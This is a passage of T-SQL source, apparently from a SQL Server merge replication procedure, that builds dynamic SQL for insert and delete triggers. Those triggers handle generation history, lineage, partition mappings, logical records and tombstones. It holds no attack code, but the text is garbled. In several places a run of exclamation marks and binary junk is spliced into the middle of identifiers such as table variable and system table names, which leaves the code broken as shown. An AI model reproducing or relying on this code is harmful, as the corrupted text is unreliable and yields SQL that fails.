            if exists (select * from @logical_reco!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
T7$Nv=rd_distinct_parent_rowguids)
            begin
                select @logical_record_lineage = { fn UPDATELINEAGE(0x0, @replnick, @logical_record_parent_oldmaxversion+1) }
                
                -- if no cleanup done yet, use 1 as the version.
                if @logical_record_parent_oldmaxversion = 1
                    select @logical_record_parent_regular_lineage = { fn UPDATELINEAGE(0x0, @replnick, 1) }
                else 
                    select @logical_record_parent_regular_lineage = @logical_record_lineage
                        
                insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen,                                             
                    logical_record_parent_rowguid, logical_record_lineage) 
                select distinct ' + convert(nvarchar, @logical_record_parent_nickname) + ', lrpg.logical_record_parent_rowguid, 
                    @logical_record_parent_regular_lineage, 0x00, @logical_record_parent_gencur, NULL, lrpg.logical_record_parent_rowguid, 
                    @logical_record_lineage
                from @logical_record_distinct_parent_rowguids lrpg
                where not exists (select rowguid from ' + @quoted_viewname + ' with (rowlock) where tablenick = ' + convert(nvarchar, @logical_record_parent_nickname) + '
                                    and rowguid = lrpg.logical_record_parent_rowguid)
            end
        end 
    end'
        insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
    end
    
    select @command = '
    if @@error <> 0 
        goto FAILURE '

    insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
        
    -- if partition groups functionality is being used, we need to insert the partition ids for these 
    -- newly inserted contents rows. 
    
    if @logical_record_view is not null and @is_top_level_logical_record_parent = 0
    begin    
        declare lrp_partition_view_ids CURSOR LOCAL FAST_FORWARD FOR 
        select partition_view_id, pubid, objid
        from dbo.sysmergepartitioninfoview where nickname = @logical_record_parent_nickname
        and partition_view_id is not null
        for read only

        open lrp_partition_view_ids

        fetch next from lrp_partition_view_ids into @lrp_partition_view_id, @lrp_pubid, @lrp_objid

        while (@@fetch_status <> -1)
        begin
                
            select top 1 @lrp_publication_number = publication_number from dbo.sysmergepublications where pubid = @lrp_pubid
            select @lrp_rgcol = quotename(name) from sys.columns where object_id = @lrp_objid and is_rowguidcol = 1
            select @lrp_partition_view_name = 'dbo.' + quotename(object_name(@lrp_partition_view_id))
            if @lrp_partition_view_name is not null
            begin

                select @command = NULL
                select @command = '
    
    if @article_rows_inserted = 1 or @num_parent_rows = 1
    begin
        -- if we did not insert the parent row, we have no business inserting the mapping row.
        if @parent_row_inserted = 1
        begin
            insert into ' + @quoted_current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
            select distinct ' + convert(nvarchar, @lrp_publication_number) + ', ' 
            + convert(nvarchar,@logical_record_parent_nickname) + ', v.' + @lrp_rgcol + ', v.partition_id
            from ' + @lrp_partition_view_name + ' as v with (rowlock)
            where v.' + @lrp_rgcol + ' = @logical_record_parent_rowguid 
        end
    end
    else
        insert into ' + @quoted_current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
        select distinct ' + convert(nvarchar, @lrp_publication_number) + ', ' 
        + convert(nvarchar,@logical_record_parent_nickname) + ', v.' + @lrp_rgcol + ', v.partition_id
        from @logical_record_distinct_parent_rowguids as lrpg, ' 
        + @lrp_partition_view_name + ' as v with (rowlock)
        where v.' + @lrp_rgcol + ' = lrpg.logical_record_parent_rowguid 
        and not exists (select * from ' + @quoted_current_mappings_viewname + ' mcpg with (readcommitted, rowlock, readpast)
                            where mcpg.tablenick = ' + convert(nvarchar,@logical_record_parent_nickname) + '
                            and mcpg.rowguid = v.' + @lrp_rgcol + ')
        '
        
                insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
            end
            
            fetch next from lrp_partition_view_ids into @lrp_partition_view_id, @lrp_pubid, @lrp_objid
        end

        close lrp_partition_view_ids
        deallocate lrp_partition_view_ids
    end

    declare @partition_view_id int, @partition_view_name nvarchar(270), @pubid uniqueidentifier, @partition_inserted_view_rule nvarchar(max),
            @publication_number smallint, @basetable_ownerqualified_replviewname nvarchar(517)

    if @article_published = 1
    begin
        declare partition_view_ids CURSOR LOCAL FAST_FORWARD FOR 
        select partition_view_id, pubid, partition_inserted_view_rule, partition_options
        from dbo.sysmergepartitioninfoview where nickname = @tablenick
        and partition_view_id is not null
        for read only

        open partition_view_ids

        fetch next from partition_view_ids into @partition_view_id, @pubid, @partition_inserted_view_rule, @partition_options

        while (@@fetch_status <> -1)
        begin
                
            select top 1 @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid
            
            select @basetable_ownerqualified_replviewname = 
                quotename(SCHEMA_NAME(schema_id)) + N'.' + quotename(object_name(object_id))
            from sys.objects with (nolock) where object_id =
                (select top 1 repl_view_id from dbo.sysmergepartitioninfoview
                    where pubid = @pubid and objid = @objid)
            
            select @partition_view_name = 'dbo.' + quotename(object_name(@partition_view_id))
            if @partition_view_name is not null
            begin

                select @command3 = NULL
                if @partition_options = 2 or @partition_options = 3
                    select @command3 = '
                if @is_mergeagent = 0 or @at_publisher = 0 '

                select @command3 = isnull(@command3, ' ')
                
                if @logical_record_view is not null
                    select @command3 = @command3 + '
            if @article_rows_inserted = 1
                insert into ' + @quoted_current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
                select distinct ' + convert(nvarchar, @publication_number) + ', @tablenick, @rowguid, v.partition_id
                from ' + @partition_view_name + ' as v with (rowlock)
                where v.' + @quoted_rgcol + ' = @rowguid
            else'
            
                select @command3 = @command3 + '
            insert into ' + @quoted_current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
            select distinct ' + convert(nvarchar, @publication_number) + ', @tablenick, v.' + @quoted_rgcol + ', v.partition_id
            from ( ' + @partition_inserted_view_rule + ' ) as v '
                
                insert into #tmptriggercmd (phase, cmdtext) values (3, @command3)
            end
            
            fetch next from partition_view_ids into @partition_view_id, @pubid, @partition_inserted_view_rule, @partition_options
        end

        close partition_view_ids
        deallocate partition_view_ids
        
        -- Logical records are based on PK-FK relationships!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
T7*שv=. So when a parent row is inserted, it can be safely
        -- assumed that none of the child rows would pre-exist. As a result, the following expansion code will not
        -- find any children if logical records are in use. So, don't need to worry about determining the 
        -- logical_record_parent_rowguid for the child rows brought in via expansion below.
        
        declare @expand_proc nvarchar(255)
        
        declare expand_procs CURSOR LOCAL FAST_FORWARD FOR 
        select distinct expand_proc from dbo.sysmergepartitioninfoview 
        where nickname = @tablenick
        and expand_proc is not null
        and exists -- at least one non-LR child exists
            (select * from dbo.sysmergesubsetfilters
                where join_nickname = @tablenick
                and filter_type = 1)
                
        open expand_procs
        
        fetch next from expand_procs into @expand_proc
        
        while @@fetch_status <> -1
        begin
            set @command3 = '
            
        exec @retcode = dbo.' + quotename(@expand_proc) + ' @marker = @marker, @inherit_pastchanges_generation = -1, @trigger_type = 0
        if @retcode <> 0 goto FAILURE '
            -- uncomment for compplan size tests
            --insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                
            fetch next from expand_procs into @expand_proc
        end
        
        close expand_procs
        deallocate expand_procs

        declare immediate_children CURSOR LOCAL FAST_FORWARD FOR 
        select distinct quotename(object_name(sma.objid)), sma.objid, sma.nickname, 'dbo.' + quotename(object_name(sma.partition_view_id)), 
                    ssf.join_filterid, ssf.join_filterclause, ssf.join_unique_key, sma.expand_proc, sma.pubid, sma.column_tracking
        from dbo.sysmergesubsetfilters ssf, dbo.sysmergepartitioninfoview sma where ssf.join_nickname = @tablenick
        and sma.nickname = ssf.art_nickname
        and sma.pubid = ssf.pubid
        and ssf.filter_type = 1    
        and sma.partition_view_id is not null
        for read only
            
        open immediate_children

        fetch next from immediate_children into @immediate_child_table_name, @immediate_child_objid, @immediate_child_nickname, 
                @immediate_child_partition_viewname, @join_filter_id, @join_filterclause, @join_unique_key, @child_expand_proc, @pubid, @child_has_col_tracking

        if (@@fetch_status <> -1)
        begin
            select @command3 = '

        declare @child_marker uniqueidentifier
        declare @child_rowcount int
        set @child_marker = newid()    '
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
        end

        while (@@fetch_status <> -1)
        begin
        
            exec @retcode = sys.sp_MSis_joinfilter_based_on_PK_UQ_constraints @pubid = @pubid,
                                                                        @join_filter_id = @join_filter_id,
                                                                        @dri_based = @child_cannot_pre_exist output,
                                                                        @unique_constraint_based = @parent_columns_unique output
                                                                        
            if @@error <> 0 or @retcode <> 0
                return 1
                
            if @child_cannot_pre_exist = 1
                goto InsertTriggerGetNextChild
        
            select @owner_qualified_immediate_child_table_name = 
                quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(object_name(object_id))
            from sys.objects with (nolock) where object_id =
                (select top 1 repl_view_id from dbo.sysmergepartitioninfoview
                    where pubid = @pubid and objid = @immediate_child_objid)
            
            select top 1 @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid

            -- Fix for VSTS 217316
            select top 1 @partition_inserted_view_rule = partition_inserted_view_rule from dbo.sysmergepartitioninfoview where pubid = @pubid and artid = @artid

            select  top 1 @child_join_colname = name from sys.columns where object_id = @immediate_child_objid
            and sys.fn_MSisfilteredcolumn(@join_filterclause, name, @immediate_child_objid) = 1 

            select @child_rgcol = quotename(name) from sys.columns where object_id = @immediate_child_objid and is_rowguidcol = 1

            if @join_unique_key = 0 or @parent_columns_unique = 0
            begin
                if @logical_record_view is not null
                    select @command3 = '
        if @article_rows_inserted = 1
            select @child_rowcount = count(*) from ' 
            + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
            where ' + @child_rgcol + ' in 
            (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' from ' 
                + @basetable_ownerqualified_replviewname + ' ' + quotename(object_name(@objid)) + ' with (rowlock), '
                + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
            where ' + quotename(object_name(@objid)) + '.' + @quoted_rgcol + ' = @rowguid and ' + '(' + @join_filterclause + ')' + ')
        else'
                else
                    select @command3 = ''
                select @command3 = @command3 + '
            select @child_rowcount = count(*) from ' 
            + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
            where ' + @child_rgcol + ' in 
            (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' from ' 
                + ' inserted ' + quotename(object_name(@objid)) + ', '
                + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
            where ' + '(' + @join_filterclause + ')' + ')
            '
            end
            else
            begin
                if @logical_record_view is not null
                    select @command3 = '
        if @article_rows_inserted = 1
            select @child_rowcount = count(*) from ' 
                + @basetable_ownerqualified_replviewname + ' ' + quotename(object_name(@objid)) + ' with (rowlock), '
                + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock) 
            where ' + quotename(object_name(@objid)) + '.' + @quoted_rgcol + ' = @rowguid and ' + '(' + @join_filterclause + ')
        else'
                else
                    select @command3 = ''
                select @command3 = @command3 + '
            select @child_rowcount = count(*) from ' 
                + ' inserted ' + quotename(object_name(@objid)) + ', '
                + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
                where ' + '(' + @join_filterclause + ')
                '
            end
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                        
            -- touch the immediate children of deleted rows
            select @command3 = '
        if @child_rowcount > 0
        begin
            select @child_oldmaxversion= maxversion_at_cleanup 
                from dbo.sysmergearticles 
                where nickname = ' + convert(nvarchar, @immediate_child_nickname) + '
                
            -- the code below will get an open generation for the child article
            select @child_newgen = NULL
            select top 1 @child_newgen = generation from ' + @quoted_genhistory_viewname + ' with (rowlock, updlock, readpast) 
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
T7.Cv=            where art_nick = ' + convert(nvarchar,@immediate_child_nickname) + ' 
                    and genstatus = 0'
            if @level_generations_in_trigger = 1
                select @command3 = @command3 + '
                    and changecount <= (' + convert(nvarchar, @gen_change_threshold) + '- isnull(@child_rowcount,0))'
            select @command3 = @command3 + '
            if @child_newgen is NULL
            begin
                insert into ' + @quoted_genhistory_viewname + ' with (rowlock)
                    (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
                       values (newid(), 0, ' + convert(nvarchar,@immediate_child_nickname) + ', @nickbin, @dt, @child_rowcount)
                select @error=@@error, @child_newgen = @@identity    
                if @error<>0 or @child_newgen is NULL
                    goto FAILURE
            end'
            if @level_generations_in_trigger = 1
                select @command3 = @command3 + '
            else
            begin
                -- do the update right away to change the changecount to include the rows that we just put in the generation
                update ' + @quoted_genhistory_viewname + ' with (rowlock)
                set changecount = changecount + @child_rowcount
                where generation = @child_newgen 
                if @@error<>0 goto FAILURE
            end'
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                        
            if @join_unique_key = 0 or @parent_columns_unique = 0
            begin
                if @logical_record_view is not null
                begin
                    select @command3 = '            
            if @article_rows_inserted = 1
                update ' + @quoted_viewname + ' with (rowlock) set generation = @child_newgen, partchangegen = @child_newgen, marker = @child_marker
                from ' + @quoted_viewname + ' mc with (rowlock)
                where mc.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + ' 
                and mc.rowguid in 
                    (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' from ' 
                        + @basetable_ownerqualified_replviewname + ' ' + quotename(object_name(@objid)) + ' with (rowlock), ' 
                        + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
                       where ' + quotename(object_name(@objid)) + '.' 
                       + @quoted_rgcol + ' = @rowguid and ' 
                       + '(' + @join_filterclause + ')' + ')
            else'
                    insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                end
                else
                    select @command3 = ''
                    
                select @command3 = '
                update ' + @quoted_viewname + ' with (rowlock) set generation = @child_newgen, partchangegen = @child_newgen, marker = @child_marker
                from ' + @quoted_viewname + ' mc with (rowlock)
                where mc.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + ' 
                and mc.rowguid in 
                    (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' from  
                    inserted ' + quotename(object_name(@objid)) + ', '
                    + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
                    where ' + '(' + @join_filterclause + ')' + ') '
            end
            else
            begin
                if @logical_record_view is not null
                begin
                    select @command3 = '
            if @article_rows_inserted = 1
                update ' + @quoted_viewname + ' with (rowlock) set generation = @child_newgen, partchangegen = @child_newgen, marker = @child_marker
                from ' 
                + @basetable_ownerqualified_replviewname + ' ' + quotename(object_name(@objid)) + ' with (rowlock), '
                + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock), '
                + @quoted_viewname + ' mc with (rowlock) 
                where ' + quotename(object_name(@objid)) + '.' + @quoted_rgcol + ' = @rowguid and (' + @join_filterclause + ') and
                mc.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + ' 
                and mc.rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + '  
            else'
                    insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                end
                else
                    select @command3 = ''
                select @command3 = '
                update ' + @quoted_viewname + ' with (rowlock) set generation = @child_newgen, partchangegen = @child_newgen, marker = @child_marker
                from 
                inserted ' + quotename(object_name(@objid)) + ', '
                + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock), '
                + @quoted_viewname + ' mc with (rowlock) 
                where mc.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + ' 
                and mc.rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + '          
                and ' + '(' + @join_filterclause + ') '
            end

            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                    
            select @command3 = '

            select @child_metadatarows_updated = @@rowcount '
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            select @command3 = '
            if @child_metadatarows_updated < @child_rowcount '
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            set @command3 = '
            begin
                    set @lineage = 0x00 '

            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            if @child_has_col_tracking = 1
                set @command3 =  '
                    set @cv = 0xFF '
            else 
                set @command3 = ' 
                    set @cv = NULL '
                
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            if @join_unique_key = 0 or @parent_columns_unique = 0
            begin
                if @logical_record_view is not null
                    set @command3 = '
                if @article_rows_inserted = 1
                    insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, generation, lineage, colv1, marker) 
                    select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', @child_newgen, @lineage, @cv, @child_marker
                    from ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
                    where ' + @child_rgcol + ' in 
                        (select  ' + @immediate_child_table_name + '.' + @child_rgcol + ' from ' 
                        + @basetable_ownerqualified_replviewname + ' ' + quotename(object_name(@objid)) + ' with (rowlock), '
                        + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
                        where ' + quotename(object_name(@objid)) + '.' + @quoted_rgcol + ' = @rowguid and ' + '(' + @join_filterclause + ')' + ')
                    and not exists 
                            (select * from ' + @quoted_viewname + ' mc with (rowlock)
                            where mc.tablenick = ' + convert(nvarchar, @immediate_child_nickname) + ' 
                            and rowguid = ' + @immediate_child_table_name + '.' + @chil!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
7-Uv=d_rgcol + ')
                else'
                else
                    select @command3 = ''
                select @command3 = @command3 + '
                    insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, generation, lineage, colv1, marker) 
                    select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', 0, @lineage, @cv, @child_marker
                    from ' 
                    + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
                    where ' + @child_rgcol + ' in 
                        (select  ' + @immediate_child_table_name + '.' + @child_rgcol + ' from 
                        inserted ' + quotename(object_name(@objid)) + ', '
                        + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
                        where ' + '(' + @join_filterclause + ')' + ')
                    and not exists 
                            (select * from ' + @quoted_viewname + ' mc with (rowlock)
                            where mc.tablenick = ' + convert(nvarchar, @immediate_child_nickname) + ' 
                            and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + ')
                    '
            end
            else
            begin
                if @logical_record_view is not null
                    set @command3 = '
                if @article_rows_inserted = 1
                    insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, generation, lineage, colv1, marker) 
                    select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', 0, @lineage, @cv, @child_marker
                    from ' 
                    + @basetable_ownerqualified_replviewname + ' ' + quotename(object_name(@objid)) + ' with (rowlock), '
                    + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name  + ' with (rowlock) 
                    where ' + quotename(object_name(@objid)) + '.' + @quoted_rgcol + ' = @rowguid and ' + '(' + @join_filterclause + ')' + '
                    and not exists 
                        (select * from ' + @quoted_viewname + ' mc with (rowlock)
                        where mc.tablenick = ' + convert(nvarchar, @immediate_child_nickname) + ' 
                        and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + ')
                else'
                else
                    select @command3 = ''
                select @command3 = @command3 + '
                    insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, generation, lineage, colv1, marker) 
                    select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', 0, @lineage, @cv, @child_marker
                    from
                    inserted ' + quotename(object_name(@objid)) + ', ' 
                    + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name  + ' with (rowlock)
                    where ' + '(' + @join_filterclause + ')' + '
                    and not exists 
                        (select * from ' + @quoted_viewname + ' mc with (rowlock)
                        where mc.tablenick = ' + convert(nvarchar, @immediate_child_nickname) + ' 
                        and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + ')
                    '
            end

            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            select @command3 = '
            end    '
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            --select @command3 = '
            --delete ' + @current_mappings_viewname + ' from 
            --' + @current_mappings_viewname + ' cpmv join ' + @viewname + ' mc
            --on cpmv.tablenick = mc.tablenick
            --and mc.tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + '
            --and cpmv.tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + '
            --and cpmv.rowguid = mc.rowguid
            --and cpmv.publication_number = ' + convert(nvarchar, @publication_number) + '
            --and mc.marker = @child_marker '
            --insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
            select @command3 = '
            insert into ' + @quoted_current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
            select distinct ' + convert(nvarchar, @publication_number) + ', ' + convert (nvarchar(11), @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', ' + quotename(object_name(@objid)) + '.partition_id
            from ( ' + @partition_inserted_view_rule + ' ) as ' + quotename(object_name(@objid))
            + ' JOIN ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
            ON ' + '(' + @join_filterclause + ')
            WHERE not exists
            (select * from ' + @quoted_current_mappings_viewname + ' where publication_number = ' + convert(nvarchar, @publication_number) + '
                and tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + ' 
                and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + '
                and partition_id = ' + quotename(object_name(@objid)) + '.partition_id)
            '

            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            if @child_expand_proc is not null and @child_expand_proc != ' '
            begin
                set @command3 = '
            exec dbo.' + quotename(@child_expand_proc) + ' @marker = @child_marker, @inherit_pastchanges_generation = -1, @parent_being_updated = 0, @trigger_type = 0 '
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
            end

            select @command3 = '
        end    '
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

    InsertTriggerGetNextChild:

            fetch next from immediate_children into @immediate_child_table_name, @immediate_child_objid, @immediate_child_nickname, 
                    @immediate_child_partition_viewname, @join_filter_id, @join_filterclause, @join_unique_key, @child_expand_proc, 
                    @pubid, @child_has_col_tracking
        end

        close immediate_children
        deallocate immediate_children

    end -- end @article_published = 1
    
    select @command4 = ' 

    return
FAILURE:
    if @@trancount > 0
        rollback tran
    raiserror (20041, 16, -1)
    return    '
        insert into #tmptriggercmd (phase, cmdtext) values (20, @command4)
end

    -- upd_ trigger generation
    /* Call separate routine to add update trigger */
    if @trigger_type = 1
    begin
        exec @retcode=sys.sp_MSaddupdatetrigger @quoted_source_table_name, @owner, @object, @artid, @column_tracking, @viewname, @trigname, @current_mappings_viewname, @past_mappings_viewname, @genhistory_viewname
        if @retcode<>0 or @@ERROR<>0 return (1)
    end

    -- del_ trigger generation
    /* Now make the delete trigger */
    -- NOTE: owner name removed

    if @trigger_type = 2
    begin
        select @command=NULL, @command2=NULL, @command3=NULL, @command4=NULL

        set @command = '
create trigger ' + @quoted_trigname + ' on ' + @quoted_db_source_table_name + ' FOR DELETE ' + @notforrepl_str1 + ' AS 
    declare @is_mergeagent bit, @at_publisher bit, @retcode smallint 

    set rowcount 0
    set transaction isolation level read committed
'
    
        if exists (select * from dbo.s!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
74v=ysmergearticles where nickname = @tablenick 
                    and (pubid in (select pubid from dbo.sysmergepublications where use_partition_groups = 1)
                            or published_in_tran_pub = 1 ))
        begin
            select @command = @command + '
            exec @retcode = sys.sp_MSisreplmergeagent @is_mergeagent output, @at_publisher output
            if @@error <> 0 or @retcode <> 0
            begin
                rollback tran
                return
            end '
        end
        else
        begin
            select @command = @command + '
            select @is_mergeagent = convert(bit, sessionproperty(''replication_agent''))
            select @at_publisher = 0 '
        end

        if (@notforrepl_bit = 1)
            select @command = @command + @notforrepl_str2
            
        if @partition_options = 2 or @partition_options = 3
        select @command = @command + '
        if @is_mergeagent = 1 and @at_publisher = 1
            return '

        select @command = @command + '
    declare @article_rows_deleted int
    declare @xe_message varbinary(1000)
    select @article_rows_deleted = count(*) from deleted
    if @article_rows_deleted=0
        return
    declare @tablenick int, @replnick binary(6), 
            @lineage varbinary(311), @newgen bigint, @oldmaxversion int, @child_newgen bigint, 
            @child_oldmaxversion int, @child_metadatarows_updated int, @cv varbinary(1),
            @logical_record_parent_oldmaxversion int, @logical_record_lineage varbinary(311), @logical_record_parent_regular_lineage varbinary(311), @logical_record_parent_gencur bigint,
            @num_parent_rows int, @logical_record_parent_rowguid uniqueidentifier, @parent_row_inserted bit, @rowguid uniqueidentifier 
    declare @dt datetime, @nickbin varbinary(8), @error int
    '
    
    if @logical_record_view is not null and @is_top_level_logical_record_parent = 0
        select @command = @command + '
    declare @logical_record_distinct_parent_rowguids table (logical_record_parent_rowguid uniqueidentifier unique) '
    insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
    
    select @command = '
    set nocount on
    select @tablenick = ' + @tablenickchar + '
    if @article_rows_deleted = 1 select @rowguid = rowguidcol from deleted
    select @oldmaxversion= maxversion_at_cleanup from dbo.sysmergearticles where nickname = @tablenick
    select @dt = getdate()

    select @replnick = ' + sys.fn_varbintohexstr(@replnick) + '
    set @nickbin= @replnick + 0xFF

    select @newgen = NULL
        select top 1 @newgen = generation from ' + @quoted_genhistory_viewname + ' with (rowlock, updlock, readpast) 
        where art_nick = ' + @tablenickchar + '  and genstatus = 0    
        '
    if @level_generations_in_trigger = 1
        select @command = @command + '
            and  changecount <= (' + convert(nvarchar, @gen_change_threshold) + ' - isnull(@article_rows_deleted,0))'
    select @command = @command + '
    if @newgen is NULL
    begin
        insert into ' + @quoted_genhistory_viewname + '  with (rowlock)
            (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
               values (newid(), 0, @tablenick, @nickbin, @dt, @article_rows_deleted)
        select @error = @@error, @newgen = @@identity    
        if @error<>0 or @newgen is NULL
            goto FAILURE
    end'
    if @level_generations_in_trigger = 1
        select @command = @command + '
    else
    begin
        -- now update the changecount of the generation we go to reflect the number of rows we put in this generation
        update ' + @quoted_genhistory_viewname + '  with (rowlock)
            set changecount = changecount + @article_rows_deleted
            where generation = @newgen
        if @@error<>0 goto FAILURE
    end
'
    insert into #tmptriggercmd (phase, cmdtext) values (1, @command)
    
    if @logical_record_view is not null 
    begin    
        select top 1 @logical_record_parent_nickname = logical_record_parent_nickname 
        from dbo.sysmergepartitioninfo
        where artid = @artid
        and logical_record_parent_nickname is not null
    end
    
    -- Do not update the tombstone table if the delete_tracking property is set to false on the article.
    -- This property when set blocks replication of deletes. Note: It causes non-convergence.
    if @delete_tracking = 0
    begin
        set @command2 = '
        set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @oldmaxversion+1) }'
    end
    else
    begin
        set @command2 = '
    set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @oldmaxversion+1) } '
    
        insert into #tmptriggercmd (phase, cmdtext) values (3, @command2)
    
        if @logical_record_view is null or @is_top_level_logical_record_parent = 0
            set @command2 = '
    if @article_rows_deleted = 1
        insert into ' + @quoted_tsview + ' with (rowlock) (rowguid, tablenick, type, lineage, generation)
            select @rowguid, @tablenick, 1, isnull((select { fn UPDATELINEAGE(COALESCE(c.lineage, @lineage), @replnick, @oldmaxversion+1) } from 
            ' + @quoted_viewname + ' c with (rowlock) where c.tablenick = @tablenick and c.rowguid = @rowguid),@lineage), @newgen
    else
        insert into ' + @quoted_tsview + ' with (rowlock) (rowguid, tablenick, type, lineage, generation)
            select d.rowguidcol, @tablenick, 1, { fn UPDATELINEAGE(COALESCE(c.lineage, @lineage), @replnick, @oldmaxversion+1) }, @newgen from 
            deleted d left outer join ' + @quoted_viewname + ' c with (rowlock) on c.tablenick = @tablenick and c.rowguid = d.rowguidcol 
            '
        else
            set @command2 = '
    if @article_rows_deleted = 1
        insert into ' + @quoted_tsview + ' with (rowlock) (rowguid, tablenick, type, lineage, generation, logical_record_parent_rowguid, logical_record_lineage)
            select @rowguid, @tablenick, 1, isnull((select { fn UPDATELINEAGE(COALESCE(c.lineage, @lineage), @replnick, @oldmaxversion+1) } from 
            ' + @quoted_viewname + ' c with (rowlock) where c.tablenick = @tablenick and c.rowguid = @rowguid),@lineage), @newgen,
            @rowguid, isnull((select { fn UPDATELINEAGE(COALESCE(c.logical_record_lineage, @lineage), @replnick, @oldmaxversion+1) } from 
            ' + @quoted_viewname + ' c with (rowlock) where c.tablenick = @tablenick and c.rowguid = @rowguid),@lineage)
    else
        insert into ' + @quoted_tsview + ' with (rowlock) (rowguid, tablenick, type, lineage, generation, logical_record_parent_rowguid, logical_record_lineage)
            select d.rowguidcol, @tablenick, 1, { fn UPDATELINEAGE(COALESCE(c.lineage, @lineage), @replnick, @oldmaxversion+1) }, @newgen,
            d.rowguidcol, { fn UPDATELINEAGE(COALESCE(c.logical_record_lineage, @lineage), @replnick, @oldmaxversion+1) }
            from deleted d left outer join ' + @quoted_viewname + ' c with (rowlock) on c.tablenick = @tablenick and c.rowguid = d.rowguidcol 
            '
            
            insert into #tmptriggercmd (phase, cmdtext) values (3, @command2)
            
            set @command2 = '
    if @@error <> 0
        GOTO FAILURE '
        end
        insert into #tmptriggercmd (phase, cmdtext) values (3, @command2)

        if exists (select * from dbo.sysmergepartitioninfoview 
                    where nickname = @tablenick and partition_view_id is not null)
        begin
            if @logical_record_view is not null
                set @command2 =  '    
